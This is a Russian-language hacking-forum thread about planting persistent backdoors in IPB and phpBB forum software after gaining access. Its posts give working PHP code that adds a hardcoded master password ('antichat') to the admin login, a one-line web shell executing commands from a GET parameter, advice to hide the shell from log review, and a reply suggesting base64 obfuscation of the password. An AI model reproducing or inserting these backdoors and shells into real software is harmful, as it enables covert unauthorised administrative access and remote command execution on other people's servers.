• XSS.stack #1 – первый литературный журнал от юзеров форума

Бэкдорим форумы

gemaglabin

(L1) cache
Пользователь
Регистрация
28.08.2005
Сообщения
703
Реакции
0
Очень часто после получения доступа к форумной части надо оставить лазейку для будущего контролирования админ-панелью.Можно добавить нового админа,можно изменить информацию старого,но есои целью является сохранить доступ то это не наш способ.Я рассмотрю возможность постановки бекдора в двух самых популярных форумных движков - IPB и в печально известнои phpbb.


IPB

Первое,что приходит на ум - открыть admin.code и найти кусок проверки кода введенного пароля.Находим строку

Код:
require_once( ROOT_PATH."sources/action_admin/login.code" );

Проверка корректности пароля происходит в файле login.code,находящемся в папке action_admin.Чтобы облегчить жизнь и не копать кучу кода в поисках нужного блока,пробуем зайти под аккаунтом администратора с заведомо ложным пассом.Получаем ошибку "The password you entered is not correct" и поиском находим место проверки пароля.

Код:
if ( $this->ipsclass->converge->converge_authenticate_member( $pass ) != TRUE )  
{
 $this->login_form("The password you entered is not correct");
}

Ниже идет код,который в случае выполнения нужных условий,а именно - корректность пары логин\пароль и проверка прав у данного юзера.Если все отлично,выдается уникальная сессия и нас переадресовывают на главную страницу админ панели.Чуть выше блока проверки пароля я поместил данную конструкцию

Код:
if (( $this->ipsclass->input['password']) == "antichat")

{
$sess_id = md5( uniqid( microtime() ) );
$db_string = $this->ipsclass->DB->compile_db_insert_string( array (
                       'session_id'                => $sess_id,
                       'session_ip_address'        => $this->ipsclass->ip_address,
                       'session_member_name'       => $mem['name'],
                       'session_member_id'         => $mem['id'],
                       'session_member_login_key'  => $mem['member_login_key'],
                       'session_location'          => 'index',
                       'session_log_in_time'       => time(),
                       'session_running_time'      => time(),
                   )        );
                
$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
$this->ipsclass->input['adsess'] = $sess_id;
$this->ipsclass->admin->redirect( $this->ipsclass->vars['board_url']."/admin.".$this->ipsclass->vars['code_ext']."?adsess=".$this->ipsclass->input['adsess']."&".$extra_query, 'Log In Successful' );
exit();
}

Пробуем ввести в связке логин существующего админа и пароль antichat - и мы попадаем в админ панель.

но мы не ограничимся одним лишь бекдором в админке.В любом скрипте можно вставить подобный код

Код:
system("$_GET[c];");

При обращению к скрипту в качестве параметра "c" можно передавать различные команды на выполнение.

phpbb

В форумах вида phpbb все гораздо проще - логин и пароль проверяется в одном скрипте.

В этом месте скрипт сравнивает правильность введенного пароля
Код:
if( md5($password) == $row['user_password'] && $row['user_active'] )

Меняем эту строчку на
Код:
if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="antichat"))

Вводим пароль antichat и успешно логинимся в админ панель.Как и в случае с IPB можно в любом скрипте оставить шелл вида
Код:
system("$_GET[c];");

Желатенльно это сделать в таком месте,где будет не очень заметно при анализе логов.
 
Код:
if (( $this->ipsclass->input['password']) == "antichat")
Если заменим на

Код:
if (( $this->ipsclass->input['password']) == base64_decode('YW50aWNoYXQ='))
получим тоже самое, но более в "хацкирском" виде. Пущая зашифорванность. Не помешает :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не знаю может я и не прав, но чё-то ни чего свер естественного я не заметил...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх